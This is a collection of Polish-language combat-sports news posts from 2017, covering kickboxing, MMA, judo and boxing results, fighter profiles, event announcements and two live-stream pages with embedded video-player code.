Łukasz Pławecki

Polski zawodnik Kickboxingu i Muay Thai urodzony 25 stycznia 1987 roku w Nowym Sączu. Jest 8-krotnym Mistrzem Polski, zdobywcą Pucharu Świata w K-1, posiada 3 pasy Zawodowego Mistrza Polski. W latach 2005-2014 reprezentował Polskę jako członek kadry narodowej. W 2013 roku, za osiągnięcia zawodowe i trenerskie, został odznaczony przez Ministra Sportu. 16 kwietnia 2015 roku Pławecki odebrał z rąk Marszałka Województwa Małopolskiego nagrodę „Małopolski Laur Sportu”. Stoczył 126 walk amatorskich i 31 zawodowych.

Osiągnięcia sportowe:

  • 2016 Mistrz Świata WKN w Kickboxingu
  • 2014 Międzynarodowe Zawodowe Mistrzostwo Polski Kickboxing Low Kick
  • 2013 Zawodowy Mistrz Polski w Kickboxingu Low Kick
  • 2013 Międzynarodowe Zawodowe Mistrzostwo Polski K-1

2011-2013

  • Międzynarodowe Mistrzostwo Polski K-1, tytuł Najlepszego Zawodnika Turnieju
  • Vice Mistrzostwo Polski Low Kick Seniorów
  • Trzy tytuły Mistrza Polski Low Kick

2009

  • II miejsce Puchar Świata K-1, Szeged

2008

  • 3 miejsce Młodzieżowe Mistrzostwa Polski Low-Kick
  • 3 miejsce Mistrzostwa Polski K1

2007

  • Vice Mistrzostwo Polski Seniorów w Low-Kicku

2006

  • 3 miejsce Puchar Świata Szeged Węgry, w formule Low-Kick
  • Mistrz Polski Młodzieżowców w formule Low-Kick
  • Vice-Mistrz Polski w formule Low-Kick
  • Vice-Mistrz Polski w formule Full-Contact

2005

  • Mistrz Polski Juniorów w formule Low-Kick
  • Mistrz Polski Juniorów w formule Full-Contact
  • 3 miejsce Mistrzostwa Polski w formule Low-Kick
  • 3 miejsce Mistrzostwa Polski w formule Full-Contact

2004

  • Vice-Mistrz Polski Południowej Juniorów w formule Full-Contact
  • Vice-Mistrz Polski Juniorów w formule Full-Contact

Piaseczno Fight Night VI "Masters Fight Series 1" – wyniki

MASTERS FIGHT SERIES I – Piaseczno, 07.10.2017

Wyniki Walk:

1. K1 71 kg Łukasz Jabłoński pokonał Pawła Józefowicza przez decyzję (2:1)
2. K-1 86 kg Paweł Gierzyński pokonał Mateusza Żukowsiego przez decyzję (3:0)
3. K-1 81 kg Edgaras Banikonis pokonał Kamila Połosaka przez decyzję (2:1)
4. K-1 67 kg Kamil Rościński pokonał Bartłomieja Salaka KO r. 3

 

Walki o tytuł zawodowego Międzynarodowego Mistrza Polski PZKB:

5. K1 60 kg Joanna Różańska pokonała Weronikę Drobiasko przez decyzję (3:0)
6. K-1 75 kg Roger Garbaczewski pokonał Zygimantasa Kulikauskasa przez decyzję (3:0)

 

Extra Fight:

7. K-1 56 kg Dorota Godzina pokonała Anetę Kopeć przez decyzję (3:0)

 

Walki wieczoru:

8. F-C 67 kg Eliasz Jankowski pokonał Kamila Dychałę przez decyzję (3:0)

 

Walka o tytuł zawodowego Międzynarodowego Mistrza Polski PZKB:

9. F-C 81 kg Łukasz Wichowski pokonał Evgeniego Matiuszonoka przez decyzję (3:0)

Tony Ferguson

Amerykański zawodnik MMA urodzony 12 lutego 1984 roku w Oxnard. Ferguson jest zwycięzcą 13 sezonu reality show The Ultimate Fighter w wadze półśredniej z 2011 oraz tymczasowym mistrzem Ultimate Fighting Championship w wadze lekkiej z 2017. W MMA zadebiutował 12 kwietnia 2008 wygrywając z Stevem Avalosem. Do końca roku wygrał dwa kolejne pojedynki, w tym jeden z utytułowanym thai-boxerem Joe Schillingiem przez poddanie. 25 października 2010 zdobył pas mistrza PureCombat w wadze półśredniej po pokonaniu Brocka Jardine przez techniczny nokaut. Uzyskawszy od debiutu rekord 10 zwycięstw i 2 porażek w 2011 wziął udział w programie The Ultimate Fighter gdzie znalazł się w drużynie prowadzonej przez Brocka Lesnara. Ostatecznie Ferguson wygrał program w kat. półśredniej (do 77 kg) pokonując w finale 4 czerwca 2011 Ramseya Nijema przez KO w pierwszej rundzie i otrzymując w nagrodę kontrakt z UFC. 24 września 2011 na UFC 135 pokonał Aarona Rileya przez TKO w pierwszej rundzie, natomiast 3 grudnia tego samego roku wypunktował Bahamczyka Yvesa Edwardsa. 5 maja 2012 przegrał z Michaelem Johnsonem jednogłośnie na punkty, notując pierwszą porażkę w UFC. 19 października 2013 poddał duszeniem Mike Rio. Wygrana nad Rio zapoczątkowała passę dziewięciu zwycięstw z rzędu Fergusona w organizacji. Od października 2013 pokonywał m.in. Gleisona Tibau, Josha Thomsona, Edsona Barbozę czy Rafaela dos Anjosa. W tym czasie był również dwukrotnie zestawiany z Chabibem Nurmagomiedowem, w tym raz o tymczasowe mistrzostwo UFC wagi lekkiej (marzec 2017) jednak do obu walk nie doszło z powodu problemów zdrowotnych Rosjanina. Zamiast tego o tymczasowe mistrzostwo zmierzył się 7 października 2017 z Kevinem Lee którego ostatecznie pokonał przez poddanie w trzeciej rundzie i zdobył pas.

Konferencja, Media Trening oraz FACE-TO-FACE przed FEN19!

Od czwartku, 12 października, Wrocław zostanie opanowany przez Fight Exclusive Night. 19. edycja gali, którą dumnie nazwano „Bitwa o Wrocław” odbędzie się już 14 października w Hali Orbita. Zanim jednak do tego dojdzie, został zaplanowany szereg wydarzeń poprzedzający pojedynki najlepszych polskich zawodników i zawodniczek w MMA i K-1.

W czwartek, 12 października,  o godzinie 13:00 na Stadionie Wrocław (Al. Śląska 1) w sali konferencyjnej odbędzie się konferencja prasowa z udziałem czołowych zawodników, których będzie można podziwiać  w Hali Orbita. Głos zabiorą Róża Gumienna, Marta Waliczek, Barbara Nalepka, Gabriel Al-Sulwi „Arab”, Bartłomiej „Ruby” Brzeziński, Arkadiusz Wrzosek, Michał Michalski, Paweł Biszczak i Paweł Brandys.

Ci sami zawodnicy tuż po zakończeniu konferencji prasowej wezmą udział w media treningu. Jego start zaplanowano na godzinę 14:00, a odbędzie się on w siłowni FUNFIT II,  na Stadionie Wrocław (Al. Śląska 1).

W piątek z kolei, 13 października, o godzinie 16:00 w Hali Orbita zaplanowana jest oficjalna ceremonia ważenia, podczas której stawią się już wszyscy bohaterowie gali. Będzie to również okazja do zobaczenia zawodników w charakterystycznej pozycji „Face to Face”. Po ważeniu fighterzy będą do dyspozycji dziennikarzy i udzielą wywiadów.

Zarówno czwartkowe jak i piątkowe wydarzenia będą otwarte dla kibiców.

WAŻNE!

Dziennikarze mogą ubiegać się o akredytacje prasowe na te wydarzenie. Wnioski składać można TYLKO drogą mailową i NIE OBOWIĄZUJE już system Accredito.

Akredytacje udzielane są na podstawie zgłoszenia mailowego na adres mail: j.borowicz@fen-mma.com. Prosimy o zawarcie takich informacji, jak imię i nazwisko osoby akredytowanej, nazwa redakcji, numer PESEL, numer telefonu oraz adres mailowy.

Wnioski akredytacyjne należy składać do 12 października 2017 roku.

Pełna karta walk FEN 19 „Bitwa o Wrocław” prezentuje się następująco:

77 kg K-1 – Igor Danis VS Paweł Biszczak
77 kg MMA – Bartłomiej „Ruby”Brzeziński – Gabriel Al.-Sulwi „Arab”
+95 kg K-1 – Nikolaj Falin VS Arkadiusz Wrzosek
77 kg MMA – Nassourdine Imavov VS Michał Michalski
65 kg K-1 – Marta Waliczek VS Róża Gumienna
84 kg MMA – Bartosz Leśko VS Paweł Brandys
56 kg MMA – Magdalena Rak VS Barbara Nalepka
77 kg MMA – Tymoteusz Łopaczyk VS Adrian Błeszyński
70 kg MMA – Patryk Nowak VS Jakub Mroczkowski
70 kg K-1 Marcin Stopka VS Krzysztof Kottas

Pacut sięgnęła po srebro w Taszkiencie

Polska zakończyła rywalizację  w Grand Prix w Taszkiencie z trzema medalami. Do Anny Borowskiej (57kg) i Agaty Perenc (52kg) dołączyła Beata Pacut (78kg), która zdobyła srebrny krążek.

Biało-czerwoni mogą być zadowoleni ze swojego występu. Złoto, dwa srebra oraz jedno piąte miejsce dały Polsce czwarte miejsce w klasyfikacji końcowej.

Ponownie druga

Ponad rok temu Beata Pacut zapisała na swoim koncie pierwsze zwycięstwo w międzynarodowym turnieju na poziomie seniorskim. Judoczka Czarnych Bytom triumfowała w Pucharze Świata w Warszawie. W finale Polka pokonała Karen Stevenson, wcześniej wygrała trzy walki. Triumf na własnej ziemi to szczególne wydarzenie w życiu każdego sportowca. W kolejnych startach Pacut prezentowała się dobrą dyspozycję i często znajdowała się w stawce rywalizujących o miejsce w czołówce.

W tym roku 21-latka znalazła się na podium w Pradze i w Mińsku. Samanta Soares i Marhinde Verkerk to zawodniczki, które stanęły na drodze naszej reprezentantki do triumfu. W Taszkiencie scenariusz układał się idealnie dla Beaty Pacut. Na początek Polka uporała się z Rosjanką Aleksandrą Babintsevą, później trafiła na 28-letnią Albinę Amangeldiyevą. Reprezentantka Kazachstanu atakowała, ale nieczysto i przegrała z Pacut. W półfinale 21-letnia Polka pokonała Bernadette Graf, która w tym roku wygrała zmagania w Bukareszcie i Hohhot. Do wykonania pozostał tylko jeden krok. Ale kolejny turniej Polka zakończyła ze srebrnym medalem. W finale Beata Pacut przegrała przez waza ari z siódmą zawodniczką tegorocznych mistrzostw świata Ukrainką Anastasiyą Turchyn.

„Najcięższe” złota

W kategorii +78kg triumfowała brązowa medalistka olimpijska z Rio de Janeiro Anamari Velensek. Reprezentantka Słowenii wygrała finałowy bój z Gulzhan Issanovą. Wicemistrz Afryki najlepszy w zmaganiach w kategorii do 100kg. Ramadan Darwish z Egiptu wygrał trzy walki, w decydującej pokonał Rosjanina Niyaza Ilyasova. 27-letni Or Sasson (+100kg) sięgnął po złoto odprawiając kolejnych rywali. W decydującym starciu reprezentant Izraela okazał się lepszy od Iuria Krakovetskiego.

Izrael najlepszy

W zawodach Grand Prix w Taszkiencie zaprezentowało się 181 zawodników, w tym 91 pań i 90 panów. Tylko w kategorii +78kg startowało mniej niż dziesięciu zawodników (dokładnie 9).

Triumf w klasyfikacji medalowej zanotował Izrael. Reprezentanci państwa położonego na wschodnim brzegu Morza Śródziemnego zdobyli pięć medali, w tym trzy złote (najwięcej) i po jednym srebrnym i brązowym. Najlepsi w swoich kategoriach okazali się: Sagi Muki (81kg), Or Sasson (+100kg) i Betina Temelkvoa (52kg), która w finale wygrała z Agatą Perenc. Drugie miejsce w klasyfikacji medalowej dla Uzbekistanu (12 krążków – 1, 2, 9), z kolei trzeci byli reprezentanci Mongolii (4 krążki – 1, 2, 1).

fot. PZJudo

KM

Trzecie zwycięstwo Borowskiej

Anna Borowska (57kg) triumfowała w Grand Prix w Taszkiencie. To trzecie tegoroczne zwycięstwo naszej judoczki. O krok od triumfu była Agata Perenc (52kg), która w tym finale przegrała z Betiną Temelkovą z Izraela.

Siedem to liczba symbolizująca całość, dopełnienie, oznacza również pełnię i doskonałość. Właśnie tylu naszych judoków pojechało do Taszkientu. Biało-czerwoni mieli dobre otwarcie turnieju za sprawą wywalczenia dwóch medali.

Smak złota

Anna Borowska z roku na rok prezentuje się coraz lepiej. Zawodniczka Kejza Team Rybnik w tym sezonie czterokrotnie stanęła już na podium międzynarodowych zawodów, w tym trzy razy na najwyższym jego stopniu. Rok temu taka sytuacja miała miejsce trzykrotnie (jedno zwycięstwo).

Starty w 2017 roku Borowska rozpoczęła od występu w Pucharze Świata w Pradze. Reprezentantka Polski stoczyła pięć zwycięskich walk. W decydującej okazała się lepsza od Holenderki Margriety Bergstry. Potem był Puchar Świata w Casablance, gdzie Borowska postanowiła pójść za ciosem. Zawodniczka wygrała cztery walki, a w finale uporała się Sarą Harachi. Na podium Polka stanęła jeszcze w Pucharze Europy w Mińsku, była trzecia. A potem były mistrzostwa świata w Budapeszcie, gdzie Borowska przegrała w walce eliminacyjnej z Marti Malloy. W Taszkiencie 23-latka udowodniła, że wcześniejsze dobre starty nie były dziełem przypadku. Borowska wygrała cztery pojedynki. W finale pokonał siódmą zawodniczkę tegorocznych mistrzostw świata Timnę Nelson Levy.

Agata Perenc (52kg) po raz trzeci w tym roku stanęła na podium w międzynarodowych zawodach. 27-latka zapisała na swoim koncie triumf w Pucharze Europy w Bukareszcie i zajęła trzecie miejsce w Pucharze Europy w Mińsku. W Taszkiencie Perenc szła jak burza. Wygrała trzy walki niezwykle szybko i efektownie. Polka rozłożyła na łopatki Ki Shuk Tsui, Aigunim Tuitekovą i Ariel Bezalel. W finale Perenc musiała uznać wyższość Betiny Temelkovej. 20-letnia reprezentantka Izraela to tegoroczna wicemistrzyni Europy juniorek.

Kolejny medal o krok

Karolina Pieńkowska (52kg) walczyła dzielnie, ale nie udało jej się powtórzyć wrześniowego sukcesu z Bratysławy i sięgnąć po brązowy medal. Rywalizację w Taszkiencie rozpoczęła od zdecydowanego zwycięstwa z Oysuluv Abdumajidovej. Później musiała sprostać agresywnie walczącej Tsolmon Adiyasambuu. W półfinale Pieńkowska przegrała z późniejszą triumfatorką Temelkovą. Polce pozostała walka o brąz, jednak z doświadczoną Petrą Nareks, która ostatnio na podium stała ponad dwa lata temu.

Jakub Kubieniec (81kg) wygrał jedną walkę. Po porażce z Faganem Guluzadą trafił do repasaży, gdzie sobie nie poradził. Ostatecznie Polak został sklasyfikowany na siódmym miejscu. 

Szybko z rywalizacją pożegnali się Karolina Tałachh (63kg) i Damian Stępień (81kg). W Taszkiencie zaprezentuje się jeszcze Beata Pacut (78kg).

Fot. IJF/PZJudo

KM

Ćwierćfinały na półmetku

Cztery pojedynki World Boxing Super Series za nami, a jeszcze cztery przed nami. Już 7 października w Stuttgarcie starcie w wadze super średniej pomiędzy Chrisem Eubankiem Jr. a Avnim Yildrim.

Tydzień po tygodniu odsłaniane są kolejne karty w rywalizacji o miano najlepszego boksera w kategorii junior ciężkiej i super średniej. 

Pierwsza para półfinałowa zmiana

Oleksandr Usyk oraz Mairis Briedis mogą już dokładnie analizować swoje słabe strony i szykować się do walki. To właśnie Ukrainiec i Łotysz stworzą pierwszą parę półfinałową turnieju WBSS w kategorii junior ciężkiej. Tydzień temu w Rydze Breidis pierwszy raz stanął do obrony mistrzowskiego pasa WBC. 32-latek spotkał się z Mike'm Perezem, który wrócił na ring po dłuższej przerwie i zamienił wagę ciężką na junior ciężką. W debiucie pokonał Viktora Biscaka, ale w Rydze stanął przed trudnym zadaniem. Walka nie należała do tych z najwyższej półki, ale Łotysz wyprowadzał więcej ciosów. Podczas pojedynku nie brakowało gorących momentów w postaci… pyskówek z sędzią. Breidis wygrał jednogłośnie na punkty – 116:110, 115:111 i 114:112.

Ale w półfinale WBSS mistrz świata WBC nie będzie miał łatwego zadania. Łotysz spotka się z czempionem WBO Oleksandrem Usykiem, który uchodzi za zdecydowanego faworyta turnieju. Ukrainiec otworzył WBSS w fenomenalny sposób. Usyk znokautował w dziesiątej rundzie Marco Hucka, czym potwierdził fantastyczną formę. 30-latek wygrał 11 (na 13) w karierze przed czasem.

Na półfinałowego rywala czeka również Yunier Dorticos, który w ćwierćfinale już w drugiej rundzie znokautował Rosjanina Dmitrija Kudriaszowa potężnym prawym prostym. Przeciwnikiem Kubańczyka będzie zwycięzca rywalizacji pomiędzy Muratem Gassijewem a Krzysztofem Włodarczykiem. Pojedynek odbędzie się 21 października.

Druga odsłona

7 października w Stuttgarcie dojdzie dopiero do drugiego starcia ćwierćfinałowego w wadze super średniej. Wcześniej rywalizowali jedynie Callum Smith i Erik Skoglund. Lepszy okazał się Brytyjczyk, który w Liverpoolu wygrał na punkty.

Za faworyta najbliższego starcia uchodzi Chris Eubank jr. Mistrz federacji IBO typowany jest do końcowego triumfu, a do turnieju WBSS zakwalifikował się dzięki wygranej w starciu z Arthurem Abrahamem. 28-letni Eubank jr. będzie musiał się mieć na czujności, bo Avni Yildirim jeszcze nigdy nie przegrał. Brytyjczyk jest pewny swego. – Jestem przyszłością boksu. W sobotę pokonam Yildirima nazywanego tureckim Rambo – zapewnia Eubank Jr.

Kolejny ćwierćfinał WBSS odbędzie się 14 października. Na Wembley Arenie czempion WBA George Groves zmierzy się niepokonanym Jamie'm Coxem. Ćwierćfinałową rywalizację zamknie starcie doświadczonego Jurgena Brahmera z Robem Brantem, które zaplanowano na 27 października.

Fot. pixabay

KM

Dublin zostanie przyćmiony?

Praktycznie wszystko jest już gotowe. Gala KSW 40 w Dublinie już 22 października, karta walk niemalże wypełniona. Jednak w ostatnich dniach na ustach wszystkich znalazła się walka Pawła „Popka” Raka z Tomaszem „Strachem” Oświecińskim. Czy gala KSW 40 nie znajdzie się w cieniu planowanego pojedynku celebrytów?

KSW 40 ma być kolejnym wielkim wydarzeniem polskiej organizacji. Było Wembley, potem PGE Narodowy, a teraz wojownicy zaprezentują się na 3Arena w Dublinie.

Twarzą w twarz

Na początku września do kibiców MMA dotarła informacja o podpisaniu umowy z KSW przez aktora Tomasz Oświecińskiego. 44-latek popularność zyskał dzięki roli „Stracha” w filmach „Pitbull”. Dał się poznać publiczności jako „kawał chłopa”, który ma „parę w łapie” i „pakuje na siłce”. To filmowy obraz, ale 44-latek długo pracował., żeby mieć odpowiednią posturę. Oświeciński to trener personalny, który również potrafi przyłożyć. Doświadczenie zbierał… w walkach ulicznych. Tomasz Oświeciński ma barwny życiorys, a teraz będzie miał okazję dopisać do niego kolejny rozdział.

Natychmiast ruszyły spekulacje, kto będzie pierwszym rywalem „Stracha”. KSW postanowiło odsłonić karty. Oświeciński zmierzy się z Pawłem „Popkiem” Rakiem. Kiedy? Tego jeszcze nie wiadomo, choć prawdopodobnym terminem jest planowana na grudzień gala KSW 41. Organizacja postanowiła budować napięcie wokół walki celebrytów, którzy pojawią się w Dublinie. W stolicy Irlandii „Strachu” i „Popek” staną twarzą w twarz.

Dla popularnego rapera starcie z aktorem będzie trzecim pojedynkiem w KSW. Ostatnio „Popek” pokonał Roberta Burneikę, wcześniej zaś przegrał z Mariuszem Pudzianowskim. Oświeciński wytrwale szykuje się do debiutu w KSW. „Popek” i „Strachu” mają razem 82 lata, więc ich starcie będzie spotkaniem podstarzałych lisów. Nikt nie odmawia im werwy ani umiejętności stworzenia widowiska, jednak na poziomie sportowym można mieć zastrzeżenia.

Co istotne, KSW wypuściło w świat informację o walce celebrytów na ostatniej prostej przed galą w Dublinie. Czy to dobrze? Zapewne kibice dopiszą i będą śledzić galę, ale teraz wszyscy z zapartym tchem czekają na termin walki „Popka” i „Stracha”. Choć jeszcze nie weszli do oktagonu, już skradli show. W Dublinie wszyscy będą czekali na „face to face” Raka i Oświecińskiego. A to nie oni będą najważniejsi w kontekście gali KSW 40.

Coraz mniej niewiadomych

W Dublinie zaprezentuje się Łukasz Chlewicki, który w starciu wagi lekkiej zmierzy się z Paulem Redmondem. 38-letni „Sasza” przegrał przed czasem dwie ostatnie walki w KSW. Irlandczyk ostatnio pokonał Roba Sinclaira na BAMMA 30. Dotychczas 30-latek wygrał 12 z 19 walk.

Z kolei Ariane Lipski pasa KSW w wadze muszej będzie broniła w starciu z Marianie Morais. W Dublinie zaprezentuje się Michał Fijałka. 33-latek zmierzy się z doświadczonym Chrisem Fieldsem.

Kolejny raz Norman Park postara się odebrać pas wagi lekkiej Mateuszowi Gamrotowi. W walce wieczoru wystąpią Mariusz Pudzianowski i James McSweeney.

Fot. KSW

KM

Ortiz wszystko skomplikował

„A miało być tak pięknie”. Jesień fanom boksu miała umilić rywalizacja niepokonanych pięściarzy kategorii królewskiej Deontaya Wildera i Luisa Ortiza. Pozytywny wynik badań antydopingowych Kubańczyka przekreślił te plany.

Wokół pojedynku było niezwykle gorąco. Blisko dwa tygodnie temu mistrz WBC Deontay Wilder apelował do Ortiza, aby ten nie brał dopingu. Przewidział wydarzenia… Co teraz?

Kolejny grzech Ortiza

11 września 2014, Hard Rock Hotel and Casino w Las Vegas. Luis Ortiz w pierwszej rundzie położył na deski Lateefa Kayode i sięgnął po tymczasowy pas mistrza świata WBA. Radość „King Konga” nie trwała jednak długo. Kilka dni później okazało się, że test antydopingowy wykonany po walce dał wynik pozytywny. Kubańczyk stosował nandrolon. Luis Ortiz przekonywał komisję stanu Nevada, że nie zna specyfiku, ale nikt mu nie uwierzył. Walkę z Kayode uznano za nieodbytą, a Ortiz musiał oddać 10 procent wynagrodzenia za pojedynek i został zawieszony na dziewięć miesięcy. 

Na ring bokser urodzony w Camaguey wrócił 20 czerwca 2015 roku. W Montrealu pokonał przed czasem Byrona Polley'a, a cztery miesiące później ponownie walczył o tymczasowy pas WBA. Kubańczyk pokonał w trzeciej rundzie Matiasa Ariel Vidondo i sięgnął po tytuł. Ortiz wygrał cztery kolejne walki, co pozwoliło mu aspirować do rywalizacji o najwyższe laury. Dostał szansę, już wszystko było gotowe, scena czekała, ale… Stare grzechy powróciły. Tym razem Kubańczyk miał stosować niedozwolone środki celem obniżenia ciśnienia krwi.

Były promotor Ortiza Eddie Hearn nazywa pięściarza „idiotą”. Obóz Kubańczyka broni się, a sam bokser twierdzi, że jest czysty. Marzenia o walce tytanów wagi ciężkiej „prysły niczym bańka mydlana”. Wilder może załamywać ręce. To kolejny przypadek, że jego rywal został przyłapany na dopingu. Wcześniej z tego powodu nie doszło do starcia Amerykanina z Andrzejem Wawrzykiem i Aleksandrem Powietkinem. Sam mistrz WBC podkreśla swoją gotowość do rywalizacji z Ortizem. Jeśli nie dojdzie do tego starcia, Wilder chce walczyć 4 listopada z innym rywalem.

Stiverne?

Ostatni pojedynek Deontay Wilder stoczył w lutym w Birmingham, gdzie uporał się z Geraldem Washingtonem. Amerykanin ponownie chciałby wejść do ringu. 4 listopada Wilder mógłby spotkać się w rewanżowym starciu z Bermane Stivernem. To jemu w styczniu 2015 roku Amerykanin odebrał pas WBC.

Z tym, że blisko 39-letni bokser urodzony na Haiti na 4 listopada ma zaplanowaną walkę z Dominikiem Breazealem. Wiele wskazuje na to, że ten ostatni mógłby wtedy rywalizować z Dillianem Whyte'm. Z kolei Stiverne jest obowiązkowym pretendentem do pasa WBC, więc nadarza się znakomita okazja, aby ponownie spotkać się z Wilderem. Na rozwój wypadków trzeba poczekać.

Fot. skysports.com

KM

LIVE: Piaseczno Fight Night VI

Zapraszamy na transmisję telewizyjną na żywo z Gali Międzynarodowej Piaseczno Fight Night VI Masters Fight Series. 

 [kod]

Piaseczno Fight Night VI

Piaseczno Fight Night VI

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/PiasecznoFightNight.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/PiasecznoFightNight.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/PiasecznoFightNight.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/PiasecznoFightNight.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: Baltic Cup, Sejny 2017

Zapraszamy na transmisję telewizyjną na żywo z finałów Otwartego Pucharu Państw Nadbałtyckich "Baltic Cup" – Sejny. Impreza odbywa się w dniach 13-15.10.2017 w formułach K-1 Rules oraz Kick Light.

[kod]

Baltic Cup, Sejny 2017

Baltic Cup, Sejny 2017

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/BalticCup.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/BalticCup.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/BalticCup.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/BalticCup.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Czy Grabowski trafi na Rinera?

Oczy miłośników judo zwrócone są w stronę Zagrzebia, który stał się areną zmagań turnieju Grand Prix. W sobotę i niedzielę w Chorwacji zaprezentuje się sześciu Polaków. Kamil Grabowski (+100kg) może trafić na legendarnego Teddy'ego Rinera, ale najpierw musi wygrać trzy walki.

Zapowiada się gorący weekend z judo w Zagrzebiu. Czy Polacy będą mieli dobre wspomnienia po starcie w Chorwacji?

Trudny początek

Przed Kamilem Grabowskim prawdziwe wyzwanie. Rywalem Polaka w starciu półfinałowym może być sam Teddy Riner. Każdy kolejny przeciwnik marzy, że będzie tym pierwszym, który powstrzyma gwiazdę judo. Mistrz olimpijski z Rio de Janeiro i Londynu wygrał ponad 130 walk z rzędu. Ale zanim Polak stanie do rywalizacji z 28-letnim mistrzem olimpijskim z Rio de Janeiro i Londynu musi spełnić kilka warunków. A dokładnie mówiąc trzy. Jednak los nie oszczędzał Polaka, który już w pierwszej walce zmierzy się z Renatem Saidovem.29-letni Rosjanin to brązowy medalista mistrzostw świata z 2014 roku z Czelabińska. Z kolei rok później był trzeci w Igrzyskach Europejskich w Baku. Świetny w wykonaniu Saidova był rok 2016, kiedy czterokrotnie stał na podium międzynarodowych imprez. Rosjanin wziął również udział w Igrzyskach Olimpijskich w Rio de Janeiro, gdzie z rywalizacją pożegnał się w drugiej rundzie przegrywając z późniejszym brązowym medalistą Rafaelem Silvą. W tym roku Saidov jeszcze nie stał na podium. Z kolei Kamil Grabowski może pochwalić się trzecim miejscem wywalczonym w Saarbruecken.

Mocnego rywala wylosował również Jakub Wójcik (100kg). Polak trafił na Ivana Remarenco, który trzy lata temu zdobył brąz mistrzostw świata w Czelabińsku. Co ważne, dla reprezentanta Zjednoczonych Emiratów Arabskich był to ostatni start, w którym stał na podium. Warto dodać, że Remarenco wystąpił rok temu w Rio de Janeiro. Start zakończył na drugiej rundzie, jego pogromcą okazał się Lyes Bouyacoub.

W Zagrzebiu zaprezentują się również: Michał Bartusik (73kg), Karol Kurzej (81kg), Damian Szwarnowiecki (81kg) oraz Tomasz Szczepaniak (90kg). Żaden z judoków w tym roku nie stał na podium w międzynarodowych zawodach. Najlepsze wyniki Kurzeja i Szczepaniaka to piąte miejsce wywalczone odpowiednio w Sarajewie i  Katowicach.

Medalistów nie zabraknie

W Zagrzebiu nie zabraknie mocnych nazwisk. Na tatami zaprezentują się tegoroczni medaliści mistrzostw świata Rustam Orujov (srebro 73kg) i Elmar Gasimov (brąz 100kg) czy mistrz Europy z Warszawy Robert Mshvidobadze (60kg). Niepodważalną gwiazdą imprezy będzie jednak Teddy Riner.

W zawodach Grand Prix zaprezentuje się łącznie 294 judoczek i judoków z 47 państw.

KM

Najman ponawia propozycję

Artur Szpilka miał jeszcze raz w tym roku wejść do ringu. Jednak tak się nie stanie. Wszystko przez bakterię gronkowca, która eliminuje boksera z jakichkolwiek zajęć. Szpilka ponownie otrzymał ofertę walki od Marcina Najmana.

Popularny „El Testosteron” nie ustaje w próbach i próbuje namówić pięściarza z Wieliczki. Na Szpilkę miałaby podziałać magia warszawskiego stadionu PGE Narodowy.

Problemy Szpilki

W ostatnim czasie były pretendent do pasa WBC wagi ciężkiej nie ma powodów do radości. Po przegranym starciu z Wilderem, na kolejne przyszło mu czekać półtora roku. W Nassau Coliseum w Uniondale Szpilka został rozbity w czwartej rundzie przez Adama Kownackiego. Akcje 28-latka zdecydowanie spadły. Szpilka miał jeszcze w tym roku stoczyć walkę na odbudowanie i zaprezentować się przed rodzimą publicznością.

Mówiło się, że w grudniu pogromca Tomasza Adamka w końcu spotka się z Krzysztofem Zimnochem. Jednak plany trzeba odłożyć na bok. Teraz najważniejsze jest zdrowie Szpilki. Pięściarz ma za sobą zabieg lewej ręki, ale w jego organizmie pojawiła się bakteria gronkowca, która opóźnia leczenie. Szpilka musi przyjmować leki i cierpliwie czekać aż w pełni się wyleczy.

Podczas regeneracji, „Szpila” ma nad czym myśleć. Były pretendent do tytułu WBC otrzymał propozycję walki od Marcina Najmana. – Arturze Szpilka, w świetle ostatnich wydarzeń, czyli odwołania ci po raz kolejny walki, ponawiam propozycje stoczenia pojedynku ze mną 26 maja na PGE Narodowym podczas Boxing Night 14 „The Legend” (pisownia oryginalna) – napisał na swoim profilu na Facebooku „El Testosteron”.

Dlaczego nie?

To nie pierwsza propozycja Najmana skierowana do Szpilki. W lipcu 38-latek wyraził zrozumienie dla trudnego położenia młodszego o 10 lat „Szpili”. Podkreślał, że był w podobnej sytuacji i podniósł się. Najman skierował do Szpilki „pomocną dłoń”, jednak ten nie zareagował.

38-latek podjął kolejną próbę i zapewnia pięściarza z Wieliczki, że ten może liczyć na solidną gażę, a występ na PGE Narodowym byłby wyjątkowym doświadczeniem. – Jeżeli, faktycznie czujesz się ode mnie lepszy, to co stoi na przeszkodzie? Mojego Wspólnika stać na to by zapłacić Ci porządną gaże, a mnie stać na to by wypłacić Ci prawego cepa. Nie daj się prosić i namawiać. Jesteśmy bokserami. To nasza robota. Wejdźmy do ringu i dajmy kibicom wielkie emocje. Potraktuj to jako szanse na powrót. Na pięknym Stadionie i świetnej gali. Trzeci raz proponował już nie będę. Pozdrawiam Cie i życzę Ci abyś uporał się z gronkowcem – napisał Najman.

KM

Jasna droga Wildera

W listopadzie w Barclays Center w Nowym Jorku mistrz świata wagi ciężkiej WBC Deontay Wilder zmierzy się z Luisem Ortizem. Amerykanin wierzy w swój triumf i snuje kolejne plany. 31-latek mierzy w starcie z Anthony'm Joshuą.

Starcie Bronze Bombera i King Konga zapowiada się niezwykle smakowicie. Główni aktorzy listopadowego widowiska przekonani są o swojej wielkości, co podkreślają na każdym kroku. Ring zweryfikuje ich słowa. Jeden będzie mógł świętować, drugi zazna pierwszej porażki w karierze.

Mistrz dąży do unifikacji

Nie da się ukryć, że w wadze ciężkiej zaczęło się dziać. Przez wiele lat widzowie mogli oklaskiwać braci Kliczko i patrzeć jak kolejni śmiałkowie odchodzą z niczym. Dwa lata temu nastąpiła zmiana warty. Władimir Kliczko przegrał z Tysonem Fury'm, jednak ten nie poradził sobie z problemami. Na pierwszym planie pojawił się Anthony Joshua. Jedną z głównych postaci kategorii królewskiej stał się również Deontay Wilder.

